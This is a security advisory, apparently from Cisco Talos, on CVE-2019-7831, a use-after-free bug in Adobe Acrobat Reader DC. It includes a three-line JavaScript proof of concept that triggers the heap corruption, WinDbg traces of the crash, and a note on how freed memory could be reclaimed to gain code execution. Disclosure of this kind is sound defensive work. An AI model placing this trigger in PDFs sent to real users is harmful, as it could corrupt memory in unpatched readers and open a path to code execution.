CVE-2019-7831
A specific JavaScript code embedded in a PDF file can lead to a heap corruption when opening a PDF document in Adobe Acrobat Reader DC 2019.10.20098. With careful memory manipulation, this can lead to arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page.
Adobe Acrobat Reader DC 2019.010.20098
8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
CWE-416: Use After Free
Adobe Acrobat Reader is the most popular and feature-rich PDF reader. It has a big user base, is usually a default PDF reader on systems and integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability.
Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This gives the potential attacker the ability to precisely control memory layout and poses additional attack surface. One method call required to trigger this vulnerability is privileged and can only be called from trusted functions or from a trusted location.
A use after free vulnerability can be triggered by using an undocumented FormWorkflow.setFormFolderForMultipleForms
function with an app.thermometer
GUI element. The following code triggers the allocation, freeing, and reuse of the freed object:
try { this.FormWorkflow.setFormFolderForMultipleForms("testing",app.thermometer,0); } catch(e) { }
try { app.activeDocs[0].getField('txt1').signatureGetModifications(app.media.windowType); } catch(e) { }
try { app.alert(app.thermometer); } catch(e){app.alert(e);}
In the above code, the first line calls an undocumented function FormWorkflow.setFormFolderForMultipleForms
with app.thermometer
as a second parameter. This, as a side-effect, allocates an object and affects app.thermometer
. Object app.thermometer
is a sort of progress bar that is to be displayed to a user while something dynamic is happening with the document. Second line, although not directly related, frees the previously allocated object as a side effect. Accessing or manipulating the app.thermometer
object in the third line then reuses the freed object causing memory corruption. This can be seen in the following debug output:
0:000> .childdbg 1
Processes created by the current process will be debugged
0:000> sxe ld EScript.api
0:000> g
...
C:\Users\b2148\AppData\RoamingModLoad: 62cc0000 62f6d000 C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api
*** ERROR: Symbol file could not be found. Defaulted to export symbols for AcroRd32.exe -
eax=00000000 ebx=2d81af54 ecx=00000004 edx=00000000 esi=ffffffff edi=330eef70
eip=00d316dc esp=00cfc194 ebp=00cfc1e4 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
00d316dc c22800 ret 28h
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.dll -
1:005> bp EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0004cd2a
*** WARNING: Unable to verify checksum for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api -
1:005> g
Breakpoint 28 hit
eax=3e7d8fb8 ebx=3e814fb8 ecx=3e814fb8 edx=62e64420 esi=2dad7fc0 edi=00000000
eip=62d73be2 esp=00cfc99c ebp=00cfc9a4 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206
EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x4cd2a:
62d73be2 e8d497f8ff call EScript!mozilla::HashBytes+0x2dbc5 (62cfd3bb)
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.dll -
1:005> k 5
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 00cfc9a4 62cfcbc7 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x4cd2a
01 00cfca18 62d01435 EScript!mozilla::HashBytes+0x2d3d1
02 00cfca48 62cf6b7f EScript!mozilla::HashBytes+0x31c3f
03 00cfcad8 62cf6560 EScript!mozilla::HashBytes+0x27389
04 00cfcb1c 62cf30a6 EScript!mozilla::HashBytes+0x26d6a
1:005> dd eax
3e7d8fb8 2dad7fc0 35f29678 00000000 463ecfb0
3e7d8fc8 2d1d4f80 2df3cf80 463f6f80 00000000
3e7d8fd8 41b46f80 00000000 00000000 00000000
3e7d8fe8 00000000 62d73c53 c0c0c000 00000000
3e7d8ff8 00000000 00000000 ???????? ????????
3e7d9008 ???????? ???????? ???????? ????????
3e7d9018 ???????? ???????? ???????? ????????
3e7d9028 ???????? ???????? ???????? ????????
1:005> !heap -p -a eax
address 3e7d8fb8 found in
_DPH_HEAP_ROOT @ db1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
3e031ccc: 3e7d8fb8 48 - 3e7d8000 2000
66c6abb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
7730246b ntdll!RtlDebugAllocateHeap+0x00000039
77266dd9 ntdll!RtlpAllocateHeap+0x000000f9
77265ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
77265d3e ntdll!RtlAllocateHeap+0x0000003e
76711406 ucrtbase!_malloc_base+0x00000026
62cfa7b8 EScript!mozilla::HashBytes+0x0002afc2
62cfd187 EScript!mozilla::HashBytes+0x0002d991
62cfc609 EScript!mozilla::HashBytes+0x0002ce13
62cfc3b5 EScript!mozilla::HashBytes+0x0002cbbf
62d73e49 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0004cf91
62d73bd8 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0004cd20
62cfcbc7 EScript!mozilla::HashBytes+0x0002d3d1
62d01435 EScript!mozilla::HashBytes+0x00031c3f
62cf6b7f EScript!mozilla::HashBytes+0x00027389
62cf6560 EScript!mozilla::HashBytes+0x00026d6a
62cf30a6 EScript!mozilla::HashBytes+0x000238b0
62cf0606 EScript!mozilla::HashBytes+0x00020e10
62cf0517 EScript!mozilla::HashBytes+0x00020d21
62cf0460 EScript!mozilla::HashBytes+0x00020c6a
62cd8ec3 EScript!mozilla::HashBytes+0x000096cd
62d187ac EScript!mozilla::HashBytes+0x00048fb6
62d184ec EScript!mozilla::HashBytes+0x00048cf6
62d180e5 EScript!mozilla::HashBytes+0x000488ef
62d170b4 EScript!mozilla::HashBytes+0x000478be
62d885e9 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x00061731
6575da6f AcroRd32!AIDE::PixelPartInfo::operator=+0x0010536f
6568723a AcroRd32!AIDE::PixelPartInfo::operator=+0x0002eb3a
6568345e AcroRd32!AIDE::PixelPartInfo::operator=+0x0002ad5e
6545002d AcroRd32!AX_PDXlateToHostEx+0x001ff9b5
6545057c AcroRd32!AX_PDXlateToHostEx+0x001fff04
65686e8e AcroRd32!AIDE::PixelPartInfo::operator=+0x0002e78e
In the above output, we put a breakpoint right before calling a function where the object is first used. PageHeap shows us an object of size 0x48 allocated at 0x3e7d8fb8
. This breakpoint is hit after the first line in the PoC is triggered. As the second line causes an object to be freed, when the same breakpoint is hit after the 3rd line is executed we see:
Breakpoint 28 hit
eax=3e7d8fb8 ebx=3e814fb8 ecx=3e814fb8 edx=62e5f4bc esi=2dad7fc0 edi=00000000
eip=62d73be2 esp=00cfc99c ebp=00cfc9a4 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206
EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x4cd2a:
62d73be2 e8d497f8ff call EScript!mozilla::HashBytes+0x2dbc5 (62cfd3bb)
1:005> dd eax
3e7d8fb8 ???????? ???????? ???????? ????????
3e7d8fc8 ???????? ???????? ???????? ????????
3e7d8fd8 ???????? ???????? ???????? ????????
3e7d8fe8 ???????? ???????? ???????? ????????
3e7d8ff8 ???????? ???????? ???????? ????????
3e7d9008 ???????? ???????? ???????? ????????
3e7d9018 ???????? ???????? ???????? ????????
3e7d9028 ???????? ???????? ???????? ????????
1:005> !heap -p -a eax
address 3e7d8fb8 found in
_DPH_HEAP_ROOT @ db1000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
3e031ccc: 3e7d8000 2000
66c6ae02 verifier!AVrfDebugPageHeapFree+0x000000c2
77302ca1 ntdll!RtlDebugFreeHeap+0x0000003e
77263c45 ntdll!RtlpFreeHeap+0x000000d5
77263812 ntdll!RtlFreeHeap+0x00000222
7670f43b ucrtbase!_free_base+0x0000001b
7670f408 ucrtbase!free+0x00000018
64f27a9f AcroRd32!AIDE::PixelPartInfo::~PixelPartInfo+0x00002d1f
65379279 AcroRd32!AX_PDXlateToHostEx+0x00128c01
6536be1f AcroRd32!AX_PDXlateToHostEx+0x0011b7a7
653675a4 AcroRd32!AX_PDXlateToHostEx+0x00116f2c
65cd43c9 AcroRd32!ixVectorNextHit+0x0022f77e
65ccfe32 AcroRd32!ixVectorNextHit+0x0022b1e7
65ca1eb9 AcroRd32!ixVectorNextHit+0x001fd26e
6536b4c0 AcroRd32!AX_PDXlateToHostEx+0x0011ae48
6536c6ad AcroRd32!AX_PDXlateToHostEx+0x0011c035
6536a0be AcroRd32!AX_PDXlateToHostEx+0x00119a46
65242796 AcroRd32!DllGetClassObject+0x00000871
65cd40ac AcroRd32!ixVectorNextHit+0x0022f461
656ae0ce AcroRd32!AIDE::PixelPartInfo::operator=+0x000559ce
62d839c5 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0005cb0d
62d11fe9 EScript!mozilla::HashBytes+0x000427f3
62cf6d06 EScript!mozilla::HashBytes+0x00027510
62cf175d EScript!mozilla::HashBytes+0x00021f67
62cf0606 EScript!mozilla::HashBytes+0x00020e10
62cf0517 EScript!mozilla::HashBytes+0x00020d21
62cf0460 EScript!mozilla::HashBytes+0x00020c6a
62cd8ec3 EScript!mozilla::HashBytes+0x000096cd
62d187ac EScript!mozilla::HashBytes+0x00048fb6
62d184ec EScript!mozilla::HashBytes+0x00048cf6
62d180e5 EScript!mozilla::HashBytes+0x000488ef
62d170b4 EScript!mozilla::HashBytes+0x000478be
62d885e9 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x00061731
1:005> k 10
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 00cfc9a4 62cfcbc7 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x4cd2a
01 00cfca18 62d01435 EScript!mozilla::HashBytes+0x2d3d1
02 00cfca48 62cf6b7f EScript!mozilla::HashBytes+0x31c3f
03 00cfcad8 62cf6560 EScript!mozilla::HashBytes+0x27389
04 00cfcb1c 62cf30a6 EScript!mozilla::HashBytes+0x26d6a
05 00cfcfe0 62cf0606 EScript!mozilla::HashBytes+0x238b0
06 00cfd028 62cf0517 EScript!mozilla::HashBytes+0x20e10
07 00cfd064 62cf0460 EScript!mozilla::HashBytes+0x20d21
08 00cfd094 62cd8ec3 EScript!mozilla::HashBytes+0x20c6a
09 00cfd0dc 62d187ac EScript!mozilla::HashBytes+0x96cd
0a 00cfd158 62d184ec EScript!mozilla::HashBytes+0x48fb6
0b 00cfd30c 62d180e5 EScript!mozilla::HashBytes+0x48cf6
0c 00cfd358 62d170b4 EScript!mozilla::HashBytes+0x488ef
0d 00cfd3f0 62d885e9 EScript!mozilla::HashBytes+0x478be
0e 00cfd448 6575da6f EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x61731
0f 00cfd468 6568723a AcroRd32!AIDE::PixelPartInfo::operator=+0x10536f
We can observe that eax
is still the same pointer, but now pointing to invalid memory. PageHeap also confirms this, showing where the object is freed. Continuing the execution leads to the following crash:
(22d4.11ec): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=3e7d8fb8 ebx=3e814fb8 ecx=46ff2ff0 edx=62e5f4bc esi=46ff2ff0 edi=00000000
eip=62cfd3d2 esp=00cfc988 ebp=00cfc994 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206
EScript!mozilla::HashBytes+0x2dbdc:
62cfd3d2 8b4004 mov eax,dword ptr [eax+4] ds:002b:3e7d8fbc=????????
Notice that eax
is still the same and the process crashed due to read access violation. Without PageHeap, by making additional allocations between 2nd and 3rd line in the PoC , we can place another object in place of the freed one. With precise control over the allocated object, this could lead to further memory corruption, information leaks and ultimately arbitrary code execution.
2019-04-10 - Vendor Disclosure
2019-05-14 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.